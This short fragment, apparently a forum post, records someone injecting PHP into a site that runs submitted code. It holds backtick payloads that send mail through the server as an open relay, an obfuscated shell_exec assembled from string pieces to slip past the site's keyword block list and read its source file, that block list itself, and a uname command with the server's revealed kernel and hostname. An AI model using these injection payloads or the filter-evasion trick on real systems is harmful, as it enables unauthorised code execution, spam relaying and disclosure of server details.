Sweet, an open mail relay:
<?php echo `echo 'hello' | mail -s Hello darth.vader@yahright.com`; ?>
<?php echo `echo 'hello' | mail -s Hello darth.vader@yahright.com`; ?>
<?php
$fn = "shel" . "l_exe" . "c";
echo nl2br(htmlentities($fn("cat response.php")));
?>$replace = array('<?php', '?>', '<?', 'mkdir', 'eval', 'exec', 'copy', 'move', 'curl', 'passthru', 'system', 'popen', 'proc_close', 'proc_open', 'proc_ terminate', 'proc_nice', 'shell', 'dl');
A fun one: <?php echo `uname -a `; ?> Output: Linux fuel.bravegamer.com 2.6.18-128.1.10.el5PAE #1 SMP Thu May 7 11:14:31 EDT 2009 i686 i686 i386 GNU/Linux